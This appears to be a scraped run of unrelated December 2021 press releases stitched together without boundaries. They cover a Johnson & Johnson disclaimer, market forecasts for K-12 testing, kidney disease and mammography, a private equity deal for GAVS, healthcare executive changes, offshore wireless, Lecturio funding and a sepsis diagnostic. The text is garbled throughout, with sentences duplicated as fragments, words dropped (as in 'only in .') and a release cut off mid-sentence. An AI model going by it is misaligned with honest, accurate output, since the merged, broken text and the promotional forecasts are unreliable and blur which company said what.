materialize, actual results could vary materially from the expectations and projections of the Janssen Pharmaceutical Companies, and/or Johnson & Johnson. Risks and uncertainties include, but are not limited to: challenges and uncertainties inherent in product research and development, including the uncertainty of clinical success and of obtaining regulatory approvals; uncertainty of commercial success; manufacturing difficulties and delays; competition, including technological advances, new products and patents attained by competitors; challenges to patents; product efficacy or safety concerns resulting in product recalls or regulatory action; changes in behavior and spending patterns of purchasers of health care products and services; changes to applicable laws and regulations, including global health care reforms; and trends toward health care cost containment. A further list and descriptions of these risks, uncertainties and other factors can be found in Johnson & Johnson's Annual Report on Form 10-K for the fiscal year ended January 3, 2021, including in the sections captioned "Cautionary Note Regarding Forward-Looking Statements" and "Item 1A. Risk Factors," and in the company's most recently filed Quarterly Report on Form 10-Q, and the company's subsequent filings with the Securities and Exchange Commission. Copies of these filings are available online at www.sec.gov, www.jnj.com or on request from Johnson & Johnson. None of the Janssen Pharmaceutical Companies nor Johnson & Johnson undertakes to update any forward-looking statement as a result of new information or future events or developments. SOURCE Johnson & Johnson Key Market Dynamics: Market Driver Market Challenges The increasing use of analytics is notably driving the K-12 testing and assessment market growth. However, factors such as credibility issues may challenge the market growth. To learn about additional key drivers, trends, and challenges available with Technavio. Read our FREE Sample Report right now! Market Segmentation The K-12 testing and assessment market report is segmented by product (curriculum-based testing and Non-curriculum-based testing), geography (North America, Europe, APAC, South America, and MEA), and method (blended method, online method, and traditional method). By product, the curriculum-based testing segment is expected to have significant market share growth during the forecast period. The K-12 testing and assessment market by the blended method is expected to register rapid growth. Many schools are opting for blended learning solutions owing to the method's growing popularity and benefits, such as cost reduction, and increased efficiency in the evaluation. Blended learning approaches are primarily used in curriculum-based testing and assessments. The product integrates many features and services that manage both online and paper testing activities from a single website. North America will be the leading region with 46% of the market's growth during the forecast period. The US and Canada are the key countries for the k-12 testing and assessment market in North America. Market growth in this region will be faster than the growth of the market in Europe, APAC, South America, and MEA. View our sample report for additional insights into the contribution of all the segments and regional opportunities in the report. Some Companies Mentioned with their Offerings CogniFit Ltd. - The company offers different types of K-12 Testing and Assessment to introduce CogniFit for Education, a new web portal for teachers to assess, train, and monitor cognitive skills involved in the learning processes. The company offers different types of K-12 Testing and Assessment to introduce CogniFit for Education, a new web portal for teachers to assess, train, and monitor cognitive skills involved in the learning processes. Educational Testing Service - The company offers different types of K-12 Testing and Assessment to focus on building a bridge between learning and accountability. The company offers different types of K-12 Testing and Assessment to focus on building a bridge between learning and accountability. Edutech - The company offers different types of K-12 Testing and Assessment such as gaming, automation, and AI can help make tests more equitable for all students. The company offers different types of K-12 Testing and Assessment such as gaming, automation, and AI can help make tests more equitable for all students. Instructure Inc. - The company offers different types of K-12 Testing and Assessment such as Canvas LMS, Videri Analytics, Canvas Studio, and others. The company offers different types of K-12 Testing and Assessment such as Canvas LMS, Videri Analytics, Canvas Studio, and others. MeritTrac Services Pvt Ltd. - The company offers different types of K-12 Testing and Assessment for hiring & workforce development. The company offers different types of K-12 Testing and Assessment for hiring & workforce development. To gain access to more vendor profiles with their key offerings available with Technavio, Click Here Related Reports: K-12 Game-based Learning Market by Product, School Level, and Geography - Forecast and Analysis 2021-2025: The K-12 game-based learning market share should rise by USD 9.03 billion from 2020 to 2025 at a CAGR of 20.63%. Download Free Sample Report Now The K-12 game-based learning market share should rise by from 2020 to 2025 at a CAGR of 20.63%. K-12 Arts and Crafts Material Market by Distribution Channel, School Level, and Geography - Forecast and Analysis 2021-2025: The K-12 arts and crafts material market has the potential to grow by USD 512.64 million from 2020 to 2025, and the market's growth momentum will accelerate at a CAGR of 2.64%. Download Free Sample Report Now K-12 Testing And Assessment Market Scope Report Coverage Details Page number 120 Base year 2020 Forecast period 2021-2025 Growth momentum & CAGR Accelerate at a CAGR of 10.19% Market growth 2021-2025 USD 8.24 billion Market structure Fragmented YoY growth (%) 9.75 Regional analysis North America, Europe, APAC, South America, and MEA Performing market contribution North America at 46% Key consumer countries US, China, UK, Germany, and Canada Competitive landscape Leading companies, competitive strategies, consumer engagement scope Companies profiled CogniFit Ltd., Educational Testing Service, Edutech, Instructure Inc., MeritTrac Services Pvt Ltd., NIIT Ltd., Pearson Plc, Providence Equity Partners LLC, Scantron Corp., and Think and Learn Pvt. Ltd. Market Dynamics Parent market analysis, Market growth inducers and obstacles, Fast-growing and slow-growing segment analysis, COVID-19 impact and future consumer dynamics, market condition analysis for forecast period. Customization purview If our report has not included the data that you are looking for, you can reach out to our analysts and get segments customized. Key Topics Covered: Executive Summary Market Landscape Market Sizing Five Forces Analysis Market Segmentation Customer landscape Geographic Landscape Vendor Landscape Vendor Analysis Appendix About Us Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provide actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. Contact Technavio Research Jesse Maida Media & Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email:[email protected] Website: www.technavio.com/ SOURCE Technavio "GAVS is well-positioned to be one of the premier AI-led digital transformation focused service providers." Tweet this Accelerate business growth by leveraging global relationships of Kedaara and Clayton, Dubilier & Rice (" CD&R "), a top global private equity firm and JV partner of Kedaara "), a top global private equity firm and JV partner of Kedaara Deliver AI-led digital transformation services, enterprise managed services, and product engineering to a vast pool of customers globally, especially across healthcare enterprises Drive growth of ZIF.ai (Zero Incident Framework), an AI-based TechOps platform Be among the Best Employers, and provide all its employees an enriching and purposeful environment Sunish Sharma, Co-CEO and Managing Partner of Kedaara, and Parin Mehta, Managing Director of Kedaara, said, "Cost efficiency improvements, the adoption of the value-based model, changing consumer expectations, the complexity of contracts and regulatory push are accelerating the adoption of digital technology. We are excited to partner with the GAVS team to support their continued effort in working with clients to aid that transition. Sumit and the senior leadership team have built a robust platform at GAVS, with exceptional capabilities, focus on innovation, and partnerships with world-class clients, especially in the Healthcare sector." "Status-quo is not an option businesses have constantly evolved to leverage advances in technology to increase agility, customer satisfaction, growth and profits. Today, this evolution includes the digital transformation of the business models and, subsequently, the IT operations of organizations. COVID-19 has only accelerated work in this direction," said Pramod Bhasin, Operating Partner, Kedaara, and former President and CEO, Genpact. "With a strong DNA of innovation-led culture and customer-centricity, GAVS is well-positioned to be one of the premier AI-led digital transformation focused service providers," he added. As per Gartner, the worldwide enterprise healthcare providers market is forecast to increase by 7.3% in 2021 to USD 124.2 billion, up from USD115.8 billion in 2020 and the worldwide healthcare spending on IT to achieve a five-year compound annual growth rate (CAGR) of 7.1% and to reach an estimated USD162.8 billion by 2025. Rajeev Srivastava, Executive Chairman and Managing Partner, Basil Technology Partners and Sameer Kanwar, Chief Executive Officer and General Partner, Basil Technology Partners said, "Over the past 12 years, we have been involved in scaling GAVS into a 2,100+ person, innovation-led organization. Kedaara coming in as the majority shareholder will enable GAVS to further build on its strengths and take advantage of the growing need for digital adoption across industries (especially in Healthcare) in the US and India, leveraging Kedaara and CD&R's extensive network and relationships." Keith Pitts, Operating Advisor, Clayton, Dubilier & Rice, ex-Vice Chairman, Tenet Health, one of the leading healthcare systems in the US said, "Historically, the healthcare sector in the US has been slower to adopt IT as compared to players in the BFSI, retail sector, and consumer sector etc. But now, digital adoption has become an imperative. The abundance of untapped data and the increased focus on improving patient experience, and regulatory push are likely to drive IT adoption in healthcare, especially in the space of cloud migration, data analytics, and security services. GAVS is well-positioned to capitalize on the spend on digital transformation initiatives by healthcare providers." Since 2010, GAVS has engaged with BronxCare Health System, a leading healthcare provider in New York, to provide AI-led managed IT services and software support. GAVS' AI-based Tech-Ops product ZIF.ai resulted in improved IT infrastructure reliability of 99.9% at the hospital and a cost out of almost 30% for BronxCare Health System. In 2020, BronxCare entered into a contract for another 10 years, with GAVS. The Jewish Board, is New York City's largest health and human services agency serving over 40,000 New Yorkers annually. Uday Madasu, CIO, Jewish Board said, "Jewish Board has been associated with GAVS Technologies for the past 8 Years in providing end-to-end IT Support services. Through their AI led IT support services, they have been able to improve the reliability of our IT systems and have delivered about 35% cost savings YoY." Sumit Ganguli, CEO of GAVS said, "At GAVS, all my colleagues and I are committed to building an AI-led digital transformation company with a focus on successful client engagements. We were most impressed with the leadership, competency, and aspirations at Kedaara and CD&R. We feel privileged to partner with them to pursue our vision. Kedaara's investment in GAVS is a testament to the culture of technological innovation, client centricity, and employee engagement that we have instilled in our company. Kedaara has significant experience in scaling businesses while retaining the entrepreneurial ethos in the portfolio companies. We believe that Kedaara and CD&R will be the ideal partners for GAVS' clients, employees, and for our stated values." Quillon Partners served as legal counsel, Ernst & Young served as the financial advisor, and Deloitte served as the tax advisor to Kedaara. Lexygen served as the legal counsel, KPMG served as tax advisor and Avendus Capital served as the exclusive financial advisor to Basil Technology Partners and GAVS. About Kedaara Kedaara is an operationally oriented private equity firm pursuing control and minority investment opportunities in India. It currently advises / manages over USD 3.9 billion through investments in several market leading businesses across a variety of sectors including consumer, financial services, pharma/healthcare, technology / business services and industrials. Kedaara's operating partner model comprising former CEOs with proven track records of building market leading businesses that enables businesses to realize their full potential. Since its inception, Kedaara has remained singularly dedicated to its stated strategy of focusing on investments built through trust-based relationships with best-in-class entrepreneurs and management teams across secular fast growing end markets. Kedaara was co-founded by Manish Kejriwal, Sunish Sharma and Nishant Sharma. It combines the strengths of a well-networked, highly experienced local investing and operating team, with the experience of its strategic partner, Clayton, Dubilier & Rice (CD&R), a global private equity firm whose investment model blends financial skills with operating expertise. For more information on Kedaara, please visit: https://kedaara.com About Basil Technology Partners Pte. Ltd. Basil Technology Partners Pte. Ltd. is a licensed fund manager in Singapore and is the advisor to Basil Technology Fund. Basil is a specialist technology investor that identifies and invests in niche technologies that are disrupting the IT services space. Basil has a hands-on approach to investing that leans heavily on identifying niche technology services companies, acquiring significant stakes, and being involved as an active operating partner in each of the portfolio companies to drive strategy, growth both organic and inorganic - and exits. Basil has developed a reputation within the technology community in SE Asia, India and the U.S. for funding, growing and successfully exiting technology and tech-related businesses. Since 2008, the Basil team members have invested in and actively operated around 14 technology investments, with seven successful exits, mostly within 3 5 years of investment. In August, 2018 Basil completed a successful third-party fund-raising round from marquee international Limited Partners (LPs) to recapitalize and consolidate its position as an investor in several leading-edge niche technology companies. For more information on Basil, please visit: www.basilpartners.com. About GAVS Technologies Limited GAVS is an AI-led digital transformation company that focuses on differentiated managed services and product engineering in Healthcare, Retail, BFSI and other verticals. The company has developed ZIF.ai, a world-class AI-based Tech-Ops product that focuses on predictive insights, automation-based remediation, and monitoring. GAVS' offerings also include cloud migration, data analytics, and cyber security services. GAVS is headquartered in Princeton, New Jersey with operations in New York, Chicago, Pleasanton, CA, Denver, CO, and Charlotte, NC. GAVS is also present in the Middle East and in India (Chennai, Hyderabad and Bengaluru). Long 80, a GAVS and Premier Inc. JV, is addressing the digital needs of the healthcare providers in the US. For more information on GAVS and its other entities, please visit: https://www.gavstech.com/ www.zif.ai www.long-80.com Media Contact: Nalini Neha Gutenberg [email protected] 9833865234 SOURCE Kedaara NEW YORK, Dec. 15, 2021 /PRNewswire/ -- According to the new market research report " Kidney Disease Market Forecast to 2027 - COVID-19 Impact and Global Analysis by Product Type (Diagnosis, Treatment); End User (Hospital, Diagnostic Laboratories, Others), and Geography", published by The Insight Partners, the global kidney disease market is expected to reach US$ 133,444.71 million by 2027 from US$ 81,128.11 million in 2019. The market is estimated to grow with a CAGR of 6.5% from 2020 to 2027. Get the Latest COVID-19 Analysis on kidney disease market at https://www.theinsightpartners.com/covid-analysis-sample/TIPRE00014589 Kidney Diseases Market: Competition Landscape and Key Developments Abbott; F. Hoffmann-La Roche Ltd; AbbVie's Inc; Pfizer Inc; Teva Pharmaceutical Industries Ltd; GlaxoSmithKline plc; Amgen Inc; Sysmex Corp; Fresenius Medical Care SE & Co. KGaA; Siemens Healthineers AG are among the key companies operating in the kidney diseases market. These players are focusing on the expansion and diversification of their market presence and the acquisition of a new customer base, thereby tapping prevailing business opportunities. In July 2020 , Teva declared new strategic focus in the Japanese market. This strategy will focus on commercializing a selection of complex generics, specialty assets and other pipeline opportunities. , Teva declared new strategic focus in the Japanese market. This strategy will focus on commercializing a selection of complex generics, specialty assets and other pipeline opportunities. In June 2020 , The Japanese New Drug Application (JNDA) approved Duvroq (daprodustat) tablets, an oral hypoxia-inducible factor prolyl hydroxylase inhibitor (HIF-PHI), that has application in the treatment of patients with anaemia due to chronic kidney disease. Daprodustat product is approved as a treatment for anaemia due to CKD only in Japan . The approval for other regions is under process. Kyowa Kirin Co., Ltd. solely distribute Duvroq product as per the strategic commercialization deal announced in 2018. , The Japanese New Drug Application (JNDA) approved Duvroq (daprodustat) tablets, an oral hypoxia-inducible factor prolyl hydroxylase inhibitor (HIF-PHI), that has application in the treatment of patients with anaemia due to chronic kidney disease. Daprodustat product is approved as a treatment for anaemia due to CKD only in . The approval for other regions is under process. Kyowa Kirin Co., Ltd. solely distribute Duvroq product as per the strategic commercialization deal announced in 2018. In May 2019 , Pfizer Inc in collaboration with Merck KGaA has developed BAVENCIO (avelumab) in combination with INLYTA (axitinib) for the first-line treatment of patients with advanced renal cell carcinoma (RCC). This drug has received approval from FDA. The Asia Pacific region is expected to be the fastest-growing region among all other regions. The growth of the market in the region is expected to grow faster due to factors such as increasing product offerings by local players, improving kidney disease guidelines, and rising investments and improving healthcare facilities. Get Exclusive Sample Pages of Kidney Disease Market Size - COVID-19 Impact and Global Analysis with Strategic Insights at https://www.theinsightpartners.com/sample/TIPRE00014589/ The North American region holds the largest market share of the market and is expected to grow due to increase in the rapidly growing end-stage renal diseases, presence of key market players and extensive R&D conducted by various academic and research institutes. In addition, there is also a boom in public healthcare expenditure and an increase in the awareness programs that are further expected to stimulate the growth of the kidney disease market in the region. In North America, the U.S. is the largest market for the kidney disease market. The growth of this market is primarily driven by the increasing prevalence of chronic kidney disorders (CKD) and growing number of product launches by key players. For instance, in 2016, the Centers for Disease Control and Prevention (CDC) stated that an estimated 0.7 million people were treated for end-stage renal disease (ESRD) in the U.S. The prevalence of ESRD more than doubled between 1990 and 2016. Moreover, the rising prevalence of hypertension and diabetes, coupled with other chronic diseases, are also expected to drive the prevalence of kidney diseases, which will eventually offer a lucrative opportunity for the growth of the market. Increasing geriatric population is also one of the major drivers for this market as aging is the prominent risk factor responsible for growing incidences of renal diseases. For instance, according to a study published by the Population Reference Bureau in 2019, the population age 65 years in the U.S. is expected to double by 2060. As per published estimates, the population of 65 years of age group is estimated to reach 95 million by 2060. Furthermore, the continuous support from the U.S. government will offer lucrative opportunities in the country. For instance, in 2019, President Donald J. Trump signed the Executive Order on Advancing American Kidney Health, the nation's first kidney health strategy aims to reduce the number of Americans with kidney failure by 25% over the next decade. High Prevalence of Chronic Diseases Leading to Kidney Diseases in Kidney Disease Market: Chronic kidney disease (CKD) is a common and life-threatening condition that affects 1 in 10 people worldwide. High blood pressure and diabetes were the two major causes in 75% of kidney failure cases between 2015 and 2017. Moreover, according to a study published by National Kidney Foundation in 2020, around 35.0% of the diabetic population above age 20 years would develop chronic kidney disease over the period of time. As per the data published by National Kidney Foundation Inc., in 2020, CKD is likely to cause more deaths than prostate cancer or breast cancer. It is an under-recognized emergency health condition among people. 1 in 3 American adults (about 80 million people) is at risk due to CKD. Download Sample PDF Brochure of Kidney Disease Market Size and Growth Research Report at https://www.theinsightpartners.com/sample/TIPRE00014589/ According to the estimates given by the Centers of Disease Control and Prevention (CDC) in 2020, 1 in 3 adults with diabetes and 1 in 5 adults with high blood pressure might have chronic kidney disease. In 2015, 30.3 million people in the US had diabetes as per the American Diabetes Association. According to the CDC, in 2014, around 118,000 people in the US started the treatment for end-stage renal disease, and the number of people for treatment is expected to increase as more people become aware of this condition. Moreover, the CDC states that around 96% of the people with kidney damage are not aware of having chronic kidney disease, which indicates the underlying market prospective in the kidney disease market. These factors are expected to enhance market growth during the forecast period. Kidney Disease Market: Segmental Overview Based on product type, the kidney disease market is segmented into diagnosis and treatment. The diagnosis segment is further sub-segmented into blood tests, urine tests, imaging tests, and others. The treatment segment accounted for more than 56.80% of the market share in 2019. In terms end user, the kidney disease market is segmented into hospitals, diagnostic laboratories, and others. The hospitals segment held the largest share of the market in 2019. The COVID-19 outbreak has disturbed various trades and businesses across the world. However, the pandemic has offered vital growth opportunities for the players operating in the kidney disease market. The opportunities were provided due to rising numbers of patients affected by the coronavirus. For instance, according to the American Society of Nephrology report in response to COVID-19, half coronavirus positive patients admitted to intensive care unit (ICU) experience kidney failure that requires some form of dialysis. The report stated that ~ 10% to 50% of patients in ICU showed kidney failure, nearly 17% of patients required urgent dialysis, and 46% of people has shown some forms of acute kidney injury (AKI). Across the North American region, the US has registered the highest numbers of patients affected by the coronavirus. For instance, as per CDC data, as of 24 September 2020, 6,916,292 was the total number of patients infected by a coronavirus. Thus, the rising numbers of patients are at higher risk of getting affected for acute kidney injury (AKI), including tubular injury with septic shock, micro inflammation, increased blood clotting, and probable direct infection of the kidney. Therefore, it is expected to raise the demand for kidney disease management products leading to market growth in the coming future. Buy Premium Copy of Kidney Disease Market Size, Share, Revenue, Strategic Insights and Forecasts 2020-2027 Research Report at https://www.theinsightpartners.com/buy/TIPRE00014589/ About Us: The Insight Partners is a one stop industry research provider of actionable intelligence. We help our clients in getting solutions to their research requirements through our syndicated and consulting research services. We specialize in industries such as Semiconductor and Electronics, Aerospace and Defense, Automotive and Transportation, Biotechnology, Healthcare IT, Manufacturing and Construction, Medical Device, Technology, Media and Telecommunications, Chemicals and Materials. Contact Us: If you have any queries about this report or if you would like further information, please contact us: Contact Person: Sameer Joshi E-mail: [email protected] Phone: +1-646-491-9876 Press Release: https://www.theinsightpartners.com/pr/kidney-disease-market More Research: https://www.openpr.com/news/archive/139407/The-Insight-Partners.html SOURCE The Insight Partners OMAHA, Neb., Dec. 15, 2021 /PRNewswire/ -- Kubat HealthCare, a leading healthcare service provider announces their 2022 organization realignment within the executive team that will provide leadership and innovation designed to position Kubat Healthcare for continued growth in 2022. In 2021, Kubat HealthCare acquired three pharmacies in Nebraska: Blake's Pharmacy in Louisville, Miller Pharmacy in Fremont, and Ashland Pharmacy in Ashland. In addition to acquisitions, Kubat HealthCare opened three new respiratory and home medical equipment stores in Lincoln, West Omaha, and Columbus, and added respiratory services to their existing Norfolk location. "This past year's success can be directly correlated to Kubat HealthCare's outstanding team members delivering a full-service healthcare experience and dedicated sales personnel driving increased sales," said Bret Cain, COO of Percipio Partners LLC, and investor of Kubat HealthCare, "Thanks to their hard work and dedication, respiratory sales increased by 34%, compounding sales increased 20%, our infusion services are contributing to profitable growth and we were able to add long-term care in Q4 as a growth engine." Continuing to execute on their growth strategy in 2022, Kubat HealthCare has plans for acquiring additional pharmacies and adding new locations within Nebraska, Iowa and Missouri that will expand their footprint within respiratory and home medical equipment. In addition, Kubat Healthcare is expected to grow long-term care pharmacy services by 38% the end of the year and explore adding medical clinics within their locations. "At Kubat HealthCare, our growth initiative is to enter communities that have been under served by their healthcare options and providing customers additional services," from Jim Rich, CEO of Kubat HealthCare, "In order to achieve these, we have strategically realigned our Executive Team to provide the necessary level of support for innovation, continued growth and operational delivery of our services throughout the communities we serve." Tony Schmid has been promoted to Vice President of Pharmacy Operations. Within Schmid's role, he will have full oversight of pharmacy operations for existing and new locations to include retail pharmacy, compounding, infusion, and long-term care service lines. Brian Daniel has been named Executive Vice President of Medical Operations. Daniel's will oversee respiratory, home medical equipment, Pro-Active Living and will be responsible for the operational due diligence of adding medical clinics to various locations. Dawn Wierzbicki has been named Executive Vice President of Growth. In her role, Wierzbicki will have direct oversight of sales within their respiratory, compounding, infusion, and long-term care. In addition, she will have the responsibility for revenue generation strategies across all service lines. To ensure future marketing efforts are supporting growth initiatives, newly appointed Marketing Director Bree Bain will report to Wierzbicki. Jenny Rohr maintains Vice President of Human Resources and Administration continuing to have oversight on recruiting, employee benefits, employee relations, compliance, and information technology. "Kubat HealthCare continues to succeed with our aggressive expansion initiatives and rapid growth. We are well on our way to have record-breaking year and future success in 2022 due to the dedication and support from all of our Kubat HealthCare employees," said Dawn Wierzbicki, Executive Vice President of Growth. CONTACT: Bree Bain [email protected] SOURCE Kubat Healthcare Related Links kubathealthcare.com The Virtual Fiber RDL-3000 provides secure, reliable high-speed connectivity in distant, isolated locations Tweet this Redline's RDL-3000 will be deployed to deliver high-capacity, high-speed, long-range wireless connectivity for 27 offshore wellheads in the Gulf of Thailand and other offshore locations in the region. The Virtual Fiber RDL-3000 was chosen specifically for this project because it provides secure and reliable high-speed connectivity in these distant, isolated locations and can be used in the toughest environmental conditions, rated to operate between -40 to +75C for fixed point-to-point and point-to-multipoint communications and nomadic applications. Included in the Redline solution are features and services such as wireless IP traffic scheduling, QoS and 2.3 GHz fixed connectivity to the wellhead jackets and unmanned platforms. Redline's comprehensive solutions provide office domain extension, CCTV, VoIP, as well as connectivity to the oil and gas company's own server directly. "Redline's robust, low-latency and high-capacity solutions are perfectly suited to support our Thailand customer's unique offshore wellhead requirements," comments Richard Yoon, CEO of Redline Communications. "Redline looks forward to providing ongoing mission-critical data infrastructure solutions for this leading petroleum exploration and production company as it continues to expand throughout Asia." About Redline Communications Redline Communications (TSX:RDL) designs and manufactures powerful wide-area wireless networks for mission-critical applications in challenging locations. Redline networks are used by Oil & Gas companies onshore and offshore, Mining companies on surface and underground operations, by municipalities to remotely monitor infrastructure, and by specialized telecom service providers to deliver premium services. Hundreds of businesses worldwide rely on Redline to engineer, plan and deliver ruggedized, secure and reliable networks for their IoT, voice, data, and video communications needs. For more information visit www.rdlcom.com . SOURCE Redline Communications CHICAGO and LEIPZIG, Germany, Dec. 15, 2021 /PRNewswire/ -- Lecturio is pleased to announce that it has raised $45 million in growth capital, led by Sterling Partners ("Sterling"). Sterling partnered with Inspara Partners ("Inspara") on this investment, whose principals have long been affiliated with Sterling. Together they bring to Lecturio a unique and successful track record of investing in and building global education enterprises. The University of Applied Management ("UAM") and other existing Lecturio shareholders Holtzbrinck Ventures, Holtzbrinck Digital, Technological Founder's Fund Saxony and Seventure also participated in the round. The growth capital from this round will be used to expand Lecturio's global footprint, further strengthen its product offering in medical and nursing education, and support a consolidation strategy in the fragmented healthcare education solutions market. Lecturio raises $45MM investment led by Sterling Partners to strengthen its offering in medical and nursing education Tweet this Lecturio has built a highly advanced and comprehensive video-based healthcare education platform, which has been adopted by many leading medical and nursing schools around the world, and features educators from Harvard, Yale, Johns Hopkins, UCL, Imperial, and more. The uniquely comprehensive content base of over 10,000 videos with linked quiz questions, concept pages, and a clinical case question bank combines with a powerful teaching and analytics engine to enable more effective and scalable education and capacity building in any setting. With Lecturio, students gain access to premier medical education materials and artificial intelligence learning support. Educators and institutions are able to control and add content to their own systems, enabling more efficient self-directed and blended learning and assessment with advanced analytics. Sterling brings nearly four decades of global experience in both education investing and developing global education businesses at scale, including in the medical, nursing, and health sciences. Among many other education investments, Sterling portfolio company Laureate Education, founded and led by Sterling Co-Founder Douglas Becker, became the largest global network of higher education institutions, with over 1 million students, including more than 250,000 health science students. "We are very pleased to be able to help build on Lecturio's successful journey to date. We believe the team has built a powerful product that addresses fundamental needs of students, educators, and care facility operators for next generation education and training delivery," said Douglas Becker, Co-Founder and Managing Director at Sterling Partners. "We are excited by the opportunity to partner with Sterling and the existing Lecturio investors to support the global growth of Lecturio. Medical and nursing education is rapidly embracing digital innovation, and Lecturio is already a partner to over 150 healthcare institutions around the world," said Neel Broker, Co-Founder and Managing Partner at Inspara Partners. "This investment opens up a new chapter in Lecturio's history, enabling us to widen our footprint and expand our offering. Our relationship with Sterling and Inspara has grown over the last several years, and we are excited to have them support us and share their unique set of capabilities and relationships in global education delivery," said Stefan Wisbauer and Pascal Bendien, Co-CEOs of Lecturio. "We are impressed with the quality of Lecturio's offering and look forward to working together both in Germany and internationally," added Prof. Dr. mult. Dr. h.c. mult. Christian Werner, CEO, UAM. About Lecturio: Lecturio was founded in Leipzig, Germany in 2008. In Germany, it provides learning solutions in law, medicine, tax, and business to both individual learners and businesses. Lecturio started its globalization focused on health science education in 2016 and today serves learners and institutions in over 175 countries www.lecturio.com . About Sterling Partners: Sterling Partners ("Sterling") is a diversified investment management platform founded in 1983. Known as a pioneering investor in education amongst other fields, Sterling adds value to its portfolio companies and the founders with whom it partners through its entrepreneurial roots, deep domain expertise, and focus on transformational growth. For more information, please visit www.sterlingpartners.com . About Inspara Partners: Inspara Partners ("Inspara") is an education and edTech focused investment and advisory platform founded in 2020 by Neel Broker and Jon Kaplan. Inspara's principals bring four decades of collective experience in global higher education, education technology, and investing. For more information, please visit www.insparapartners.com . About UAM: The University of Applied Management ( www.fham.de) is part of a network of private universities in Germany, Austria, Switzerland and Malta which offers Bachelor and Master programs and Doctorates in a very innovative didactical format that covers a broad range of subject areas including management, computing, engineering, sports, psychology and health sciences. Contact: Taylor Trovillion [email protected] SOURCE Sterling Partners PARIS and SEOUL, South Korea, Dec. 14, 2021 /PRNewswire/ -- QuantaMatrix, an in vitro diagnostics company specializing in the discovery, development and commercialization of fully-integrated solutions within the sepsis value chain, today announces that its dRAST TM platform has been adopted for routine use by the Limbach Group, a German-based laboratory group, for the benefit of patients, clinical laboratories and clinicians. This successful deployment is the result of a partnership between QuantaMatrix Europe, a fully owned affiliate of QuantaMatrix Inc., based in Paris (France), and Axonlab, one of the leading in vitro diagnostics solution providers in Europe. Following the successful validation of the dRAST platform by major reference laboratories in Europe, QuantaMatrix partnered with Axonlab to promote its use in Germany, Switzerland, Austria and the Benelux region, alongside other European countries. An initial agreement with the Limbach Group in Germany means the dRAST solution is now available to the maximum number of that nation's sepsis patients. The Limbach Group was created from the merger of independent laboratories throughout Germany. As the country's largest owner-managed laboratory group, it covers the entire spectrum of lab diagnostics with more than 30 clinical laboratories throughout the nation. MVZ Labor Ravensburg is one of the major labs within the Limbach Group and has adopted dRAST in routine clinical use. Dr Ulrike Schumacher, medical director of the microbiology department at MVZ Labor Ravensburg said: "dRAST is a perfectly integrated platform in our lab. As we serve around 100 hospitals, daily we collect approximately 1,000 blood cultures from patients. The two main advantages in implementing dRAST in our lab are that by using it, we commonly shorten the wait for results by two days, so the patient can be treated with the optimal antibiotic and, as dRAST is so easy to use, we can now also offer this rapid susceptibility test in the evening, during holidays and at weekends." Professor Sunghoon Kwon, Ph.D., CEO of QuantaMatrix, said: "We are very pleased with this agreement in Germany. Bloodstream infections due to bacteria need to be rapidly detected and then treated with the proper antibiotic or the patient may lose their life. Our platform offers one great advantage, benefitting the patient's health: guaranteeing optimal treatment while reducing the toxicity found in broad-spectrum antibiotics. We look forward to installing our system with other laboratory groups across Europe." About QuantaMatrix QuantaMatrix Inc. is an in vitro diagnostics company specializing in the discovery, development and commercialization of fully-integrated solutions within the sepsis value chain. QuantaMatrix has successfully established a network of distribution all over Europe. It continues to expand and is now addressing the Middle East and Africa. QuantaMatrix specializes in in vitro diagnostics using microbial diagnostics technology. QuantaMatrix's flagship product is dRASTTM, a direct Rapid Antimicrobial Susceptibility Testing system, which is capable of finding the optimal antibiotic in four to six hours following a positive blood culture. dRAST uses various patented technologies related to optics, microfluidic engineering and artificial intelligence. Compared to conventional methods, dRAST effectively shortens the test time by two to three days. dRAST is already on the market in Korea and the EU. The company has a distribution network spanning 24 EMEA countries. QuantaMatrix is a public company listed on the Korean KOSDAQ market under #317690. www.quantamatrix.com SOURCE QuantaMatrix Related Links http://www.quantamatrix.com NEW YORK, Dec. 15, 2021 /PRNewswire/ -- According to the new market research report " Mammography Systems Market Forecast to 2027 - COVID-19 Impact and Global Analysis by Product (Analog Systems, Full Field Digital Mammography Systems, Breast Tomosynthesis Systems), Technology (Screen Film, 2D Mammography, 3D Mammography), End User (Hospitals, Ambulatory Surgical Centers, Others), and Geography", published by The Insight Partners, the global mammography systems market was valued at US$ 2,172.8 million in 2019 and is projected to reach US$ 3,790.5 million by 2027; it is expected to grow at a CAGR of 7.4% from 2020 to 2027. Get the Latest COVID-19 Analysis on mammography systems market at https://www.theinsightpartners.com/covid-analysis-sample/TIPRE00007753 Mammography Systems Market : Competition Landscape and Key Developments Carestream Health Inc., General Electric Company, Hologic, Inc., Koninklijke Philips N.V., PLANMED OY, Fujifilm Corporation, IMS Giotto S.P.A., Canon Medical Systems, Siemens Healthineers AG, and Metaltronica S.p.A are among the key companies operating in the mammography systems market . These players are focusing on the expansion and diversification of their market presence and the acquisition of a new customer base, thereby tapping prevailing business opportunities. In November 2019 , GE Healthcare introduced Serena Bright , the healthcare industry's first contrast-enhanced mammography solution for biopsy. This new mammography-guided biopsy technique offers an alternative to MR-guided breast biopsy, which can improve the patient experience and allow faster diagnosis capabilities. , GE Healthcare introduced , the healthcare industry's first contrast-enhanced mammography solution for biopsy. This new mammography-guided biopsy technique offers an alternative to MR-guided breast biopsy, which can improve the patient experience and allow faster diagnosis capabilities. In March 2018 , Planmed has received Health Canada has approval for the Clarity 2D digital mammography system and the Planmed Clarity 3D digital mammography tomosynthesis system. The Planmed Clarity system is a powerful tool for breast cancer screening and diagnostic follow-ups. , Planmed has received Health Canada has approval for the Clarity 2D digital mammography system and the Planmed Clarity 3D digital mammography tomosynthesis system. The Planmed Clarity system is a powerful tool for breast cancer screening and diagnostic follow-ups. In March 2018 , The company has received The FDA approved for its MAMMOMAT Revelation. This new system comes with the new InSpect integrated specimen imaging tool and the new HD Breast Biopsy solution. These features are designed to expand precision medicine and improve the patient experience. In 2019, North America dominated the market for the mammography systems is largely held by the US among the countries in North America. The growth of the mammography systems market in the United States is expected to grow because it has well-developed healthcare facilities, presence of top market players increasing emphasis on preventive care, developed healthcare infrastructure, aging population, and increasing number of product launches. Additionally, innovations in the imaging technologies, growing prevalence of breast cancer, and growing demand for advanced patient 